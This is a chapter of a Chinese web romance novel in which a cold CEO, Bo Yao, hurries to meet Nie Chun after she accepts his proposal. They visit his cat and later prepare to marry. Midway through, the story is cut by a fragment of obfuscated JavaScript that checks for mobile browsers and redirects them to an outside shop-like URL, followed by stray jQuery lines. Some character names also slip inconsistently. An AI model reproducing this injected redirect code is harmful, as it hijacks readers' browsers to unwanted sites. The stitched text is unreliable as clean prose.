【求婚,我同意】
薄峣下午有四个会议,第一个会刚进行到一半,他就收到了来自聂椿的消息。
设计部正在汇报上一季度用户反馈情况,只见一向遗世独立的薄总神色慌乱。
众人在他脸上看到了诧异、惊喜、迷惘以及自我疑惑。
薄总到底看到什么了?
接下来发生的一切更是让他们大跌眼镜。
对工作一向严苛到刻薄的薄总竟然没提出任何修改意见,这也导致会议至少提前了一小时结束。
直到薄峣匆匆离开会议室,众人都没能回过神,惊惧程度堪比看了部恐怖片。
……
接下来的三个会议薄峣让陶秘书找个理由都取消了。
陶秘书也慌得很,找借口取消会议不难,可这是老板第一次临时打乱已经定好的工作计划。
一点不像薄峣的风格。
其实薄峣自己也没想好取消会议后要做什么,唯一的念头就是想尽快见到聂椿,亲口问她是不是真的答应了他的求婚。
可是这个时间聂椿在上班,他总不好跑到她公司,想要见她只能等她下班。
对了,还有上次没能送出去的戒指。
好在他一直带在身上。
现在唯一需要他操心的只有家里的猫。
“陶秘书,你一小时后去我家。”他把陶秘书叫进办公室,开始安排任务,“喂猫。”
上一秒陶秘书还在担忧薄峣是不是家里出了什么事,又或是身体不舒服,结果现在看他神态自然地让自己加班喂猫,陶秘书瞬间收回了对他的关心和怜悯。
薄峣又说:“喂完带她去宠物店洗澡,已经预约过了。”
陶秘书恨得干瞪眼:“……好的,薄总。”
猫都能比他先吃上晚饭先洗上澡,可见他这日子过得还不如猫。
有朝一日,他要画出名堂,成为有名的漫画家赚很多很多钱,第一件事就是炒了薄峣,让他自己一个人玩去!
离开前,薄峣路过陶秘书身侧突然停下,说:“辛苦了,今年给你双倍年终奖。”
说完,留下目瞪口呆的陶秘书走出办公室。
陶秘书愣在原地良久,蓦地红了眼眶,心里涌起了对薄峣浓浓的歉意。
他怎么能在心里Diss这么大方的老板。
什么炒不炒的,跟着薄总好好干比什么都强!
……
聂椿发完消息就后悔了,可惜想撤回的时候已经超过了2分钟。
薄峣一直没有回复她,她猜想薄峣会不会也和她一样后悔了。
如果是这样那他们之间真的连同学都做不成了。
好久没有觉得时间过得这么慢,每分每秒漫长得像过去了好几个世纪,她都不知道自己是怎么熬到下班的。
审核完最后几页分镜,她关闭电脑离开座位。
准点下班的感觉还是很好的,出大楼时天还没完全黑下来,光线灰蒙蒙的,远处景物的轮廓逐渐模糊。
车子今天被方蘅开去医院了,她决定晚饭在公司附近简单吃一顿,然后打个车回家。
人刚出大楼,薄峣的车就稳稳停在她面前。
聂椿诧异了一下,随即想到他应该是因自己那天同意结婚的消息而来。
他们之间仿佛一直在快进的推理小说,转眼就到了最后一章。
她有预感,未解之谜将在今天揭晓。
她什么都没问直接坐进副驾驶,薄峣看起来还是那么清冷,问她想吃什么。
聂椿想到中午刚一起吃过饭,晚上又一起吃,夫妻在一起吃饭的频率可能都没他们高。
他们之间除了吃饭就不能有点别的吗?
她想了解他更多。
“我想看看猫。”
“秘书带她去宠物店洗澡,7点才能回来,我们先吃饭,吃完带你回家。”
带她回家?
他怎么能把这句话说得如此自然。
手机在这个时候不适时地响起来,来电显示“妈”。
聂椿飞快瞄了一眼正在开车的薄峣,同时按下了拒接键。
算算时间,方槿这会儿应该已经到家了,打电话过来无非又是说薄峣的事。
自己这会儿还没理出头绪,不是和她对话的好时机。
……
晚上七点整,刚把猫送回家的陶秘书就收到了薄峣的消息,让他把猫送到家就离开。
陶秘书差点没把手机捏碎。
这话说的,好想他想赖这里不走似的。
他忙前忙后连晚饭都没时间吃,冷血的老板!
一边吐槽一边给薄峣回复收到。
为了双倍年终奖,再忍一忍!
他在手机上敲下一段字。
【恶鬼老板又不做人,豆腐有脑他没有】
【竟然让我帮他喂猫,我看起来很闲吗?我忙到现在饭还没吃呢】
聂椿看着手机屏幕嘴里念叨着:“这也太过分了吧……”
薄峣闻言问:“怎么了?”
聂椿觉得这没什么不可以说的,“我朋友说她公司老板让她帮忙喂猫。”
为了对方的隐私,她只说是一个朋友。
“……这很过分吗?”
“当然,她是员工又不是保姆。”
“工资给得高也不行吗。”
“那得看多高了,反正给我再多工资我也不给老板当保姆。”
薄峣感觉自己被狠狠上了一课,人生中第一次反省自己的行为举止是否有不妥之处。
等信号灯的时候,他抽空给陶秘书发消息。
【辛苦费】
【谢谢】
几分钟后,聂椿又收到陶秘书的消息。
【老板竟然对我说谢谢!】
【重点是他还给我转了5000块钱辛苦费!希望他天天让我帮忙喂猫】
【是我不知好歹了,我要收回刚刚对他评价】
【不服天不服地,就服老板这实力】
看到最后一句聂椿没忍住噗嗤一下笑出声。抬头看到薄峣正望着自己,她连忙摆手敷衍过去,“对了,你刚刚说给猫预约了洗澡,7点才能到家,谁送她去的?”
薄峣沉默了片刻,吐出两个字:“朋友。”
聂椿没有继续问下去,虽然她很难想象薄峣这么冷淡的性格竟然会有朋友。
……
薄峣家位于繁华地段的高端公寓楼顶层,从落地窗俯瞰外面,整个城市能尽收眼底。
电梯里,聂椿显得有些不安,时不时看向楼层显示屏。
像是看出她的犹疑,薄峣主动解释了一句:“大学毕业后我就从家里搬出来一个人住了。”
言外之意,这房子不是发生案件的房子。
聂椿尬笑了一下,没有否认。
这人心思真细,看一眼就知道她在想什么。
她刚刚确实在想这里会不会是凶杀现场,不是她迷信,但这个事的确太过骇人,很难完全不在意。
她不打算在这件事上过分顾及薄峣的感受,不然未来的日子岂不都在看人脸色中度。
这么一想,她对薄峣似乎还没有那么……那么喜欢。
……
顶层只有一户,进门是玄关,小猫不知从哪蹿出来直奔薄峣脚边,用脸颊蹭他腿,还露出肚皮要他摸。
再坚固的冰山也抵挡不了嘤嘤怪的撒娇。
薄峣单手将小猫捞进怀里,嗓音低柔:“无常,我回来了。”
聂椿:“……”
谁是无常?
“我给她取了名字,因为她经常喜怒无常,所以叫她无常。”薄峣似乎对自己取的名字很满意。
“你怎么能给她取这么个名字。”
再不济取喜怒也行,无常听起来也太阴间了。
“不好听吗?”薄峣像是没预料到聂椿会对这个名字不满意,“那你给她重取一个。”
“算了,她都接受这个名字了。”聂椿掌心向上,期待小猫能朝自己伸爪子,“你还记得我吗?”
无常看她的眼神像在看陌生人,显然已经把她忘得一干二净。
聂椿努嘴:“小没良心的,这么快就把救命恩人忘了。”
薄峣把无常放回地上,给聂椿拿了双拖鞋,单膝跪地整齐放在她脚边。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481731|201782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>聂椿被这个小举动暖到,换好拖鞋追随无常来到客厅。
入眼是冷都男装修风,家具大多是深木色和金属色,简单却不失设计感。
没有电视,开放式厨房,看起来不经常使用的样子。
“请坐。”薄峣走到厨房,问,“喝点什么?有温水和苏打水。”
小猫跳到沙发上舔舔爪子,眼睛眯了起来,看着困了。
“温水就好。”聂椿动作轻缓地坐在小猫旁边,小猫虽然记不得她,但也不怕她,“她看着胖了一圈,也精神了很多,你把她照顾得很好。”
薄峣嘴角扬了扬,没有谦虚也没有邀功。把水杯放在聂椿面前,他在对面坐下,等她开口。
聂椿是真的想看望小猫,但该面对的问题始终要面对。
“今天给你发的那条消息……”
“我当时有点冲动,没过脑子就发出去了……”
薄峣见她吞吞吐吐,替她把接下来的话说了,“所以你是来拒绝我第二次的。”
这话听起来好伤人。
虽然伤的是薄峣,不是她。
薄峣的眼睛里折射出细碎的光影,嘴角抿成一条隐忍的直线。聂椿心跳猛地漏了一拍,下意识否认:“不是,我没有要拒绝。”
话音刚落,就见薄峣漆黑的眸子犹如被点燃了火的灯芯一般亮了起来。
聂椿突然意识到,自己应该没办法再拒绝他了。
也许她的未来可以有他。
“……我是你的初恋吗?”
薄言给出肯定的答案:“如果你是指第一个喜欢上的人,是。”
聂椿此刻的心情有些恍然。
原来在她懵然不觉的年少时光中,也曾是某个人心中忘不掉的美好存在。
薄峣:“可以为你戴上戒指吗。”
“不好意思,我想自己戴。”她不太适应很仪式感的事,会让她感到不自在。
“好。”薄要把戒指盒子给她。
有什么说什么,他喜欢的就是这样的她。
“今天先不戴了,过几天可以吗,我还没和家人提结婚的事。”
虽然聂椿说得很含蓄,但薄峣还是听懂了。
她家里人应该知道了他父母的事。
尽管他从来没想可以隐瞒。
“有什么是我能做的?”
“没有。”
连她都没有信心能说服方槿,更别说薄峣了。以方槿现在的态度,根本都不会见他。
身旁的小猫伸了个懒腰,扫了他们一眼,又沉沉睡了过去。
……
聂椿花了一个月的时间才说服父母同意她和薄峣结婚。
在她看来还算顺利,至少比预期花的时间短很多。
父母同意的当天,她这才戴上了戒指。
到了公司有几个同事看见了纷纷问她是不是要结婚了,她没否认,但并不准备给公司的人发结婚请帖。
聂椿是个怕麻烦的人,筹备婚礼的事全部交给了薄峣。
她和薄峣有讨论这个问题,薄峣表态全部按照她的意愿去办,而她认为婚礼没必要邀请太多人,只要亲朋好友到场就行,薄言对此没有任何意见。
她觉得即使结婚后,工作和生活也不会有改变,除了……她的人形褪黑素。
领证前一天,她强忍不舍给人形褪黑素发分手信息。
【我要结婚了,咱俩必须得断了呜呜呜呜】
对方回复。
【他一定会很爱你,像我一样】
这不是聂椿想要的回答。
【你为什么不挽留我?】
【是我的错觉吗,你好像很高兴的样子】
【我为你即将到来的幸福而感到高兴】
【虽然不舍,但我尊重你的选择】
【可我没有从你的文字中感到任何不舍】
【你确定不再争取一下?】
【争取的话你就不结婚了吗】
【有这个可能,毕竟我对你还是有感情的】
【那我就不争取了,只要你幸福就好,我不想成为你的困扰】
【……】
【??????】